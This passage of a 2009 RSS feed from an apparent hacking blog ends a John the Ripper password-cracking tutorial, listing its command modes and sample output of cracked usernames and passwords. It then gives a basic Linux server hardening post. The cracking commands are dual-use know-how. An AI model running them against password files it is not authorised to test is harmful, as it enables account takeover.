john -si [passfile]<br />
WORDFILE MODE<br />
john -w:[wordlist] [passfile]<br />
INCREMENTAL MODES<br />
john -i [passfile]<br />
john -i:ALL [passfile]<br />
john -i:DIGITS [passfile]<br />
john -i:ALPHA [passfile]<br />
SHOW MODES<br />
john -show [passfile]&gt;[output]</p>
<p>Loaded 254 passwords with 85 different salts (Standard DES [32/32 BS])<br />
italia (italiano)<br />
makoto (makotox)<br />
PADWICK (PADWICKH)<br />
kelley (kelleyaj)<br />
bechtel (jbechtel)<br />
mequery (queryme)<br />
seeeee (meeeee)<br />
stevewm (stevenm)<br />
guesses: 8 time: 0:00:01:23 100% c/s: 25771 trying: zcatcatk &#8211; zcatcatz</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=47&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Basic Linux Server Security</title>
		<link>http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/</link>
		<comments>http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 20:27:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[password meter]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[su]]></category>
		<category><![CDATA[sudo]]></category>
		<category><![CDATA[user]]></category>

		<guid isPermaLink="false">http://hacking-gurus.net/?p=3</guid>
		<description><![CDATA[
		
		
		
		Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time.

Below is some basic information; how we can secure a linux box.

Password Security
Directories Permissions/Ownership Security
Unnecessary Services

Network Security

1. Password Security
Make you password strong and lengthy. Combine letters, numbers, and symbols. Use password [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Basic+Linux+Server+Security";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time.Below is some basic information; how we can secure a linux box.Password SecurityDirectories Permissions/Ownership SecurityUnnecessary ServicesNetwork Security1. Password SecurityMake you password strong and lengthy. Combine letters,...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time.</p>
<p><span id="more-3"></span></p>
<p>Below is some basic information; how we can secure a linux box.</p>
<ol>
<li><strong>Password Security</strong></li>
<li><strong>Directories Permissions/Ownership Security</strong></li>
<li><strong>Unnecessary Services<br />
</strong></li>
<li><strong>Network Security</strong></li>
</ol>
<p>1. <strong>Password Security</strong></p>
<p>Make you password strong and lengthy. Combine letters, numbers, and symbols. Use <strong><a href="http://www.passwordmeter.com/" target="_blank">password meter</a></strong> to test your passwords. Do not use root login for your normal work. only use limited users and for installation and other tasks where root login is required you can use <strong><em>su</em></strong> or <strong><em>sudo</em></strong> to become root and perform special task as soon as you are finished with your task press ctrl+D to return to normal user envirement.</p>
<p>2. <strong>Directories Permissions/Ownership Security</strong></p>
<p><em>Linux</em> have very good directory permision system as compared to <em>Windows</em>. All you need is to only change directory permissions where needed. and do not permit access to directoires like /etc /root to limited users as they could read important information that would help them hacking you box. You can use<a href="http://www.onlineconversion.com/html_chmod_calculator.htm" target="_blank"> <strong>online permission calculator</strong></a> to calculate permisions .</p>
<p>3. <strong>Unnecessary Services</strong><br />
You need to disable all services that are not usefull to you. you can use <a href="http://sysv-rc-conf.sourceforge.net/" target="_blank"><strong><em><em>sysv-rc-conf</em></em></strong></a> to check and manage all servces and their <strong><a href="http://www.networkclue.com/os/Linux/run-levels.aspx" target="_blank">run levels</a></strong>. To disable a service you can uncheck a service run levels in <em><em>sysv-rc-conf .</em></em></p>
<p><em><em>4. </em></em><strong>Network Security</strong></p>
<p>Network Security is its self a big topic but at basic level you need to check which network services you are running at your linux server <em>( for example apache/httpd mysql bind )</em> . You can use firewall to disallow unneccessary access to these services . <a href="http://cnx.org/content/m12981/latest/" target="_blank"><strong><em>IPTABLE</em></strong></a> or <a href="http://tldp.org/HOWTO/IPCHAINS-HOWTO-1.html#ss1.1" target="_blank"><strong><em>IPCHAIN</em></strong></a> is firewall that is widely used to secure linux server. but for unauthorized access you need to configure each service to disallow. i will try to go in deep details of these services so stay tunned <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  .</p>
<p>Your Comments will be <span class="w">appreciated</span>.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=3&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
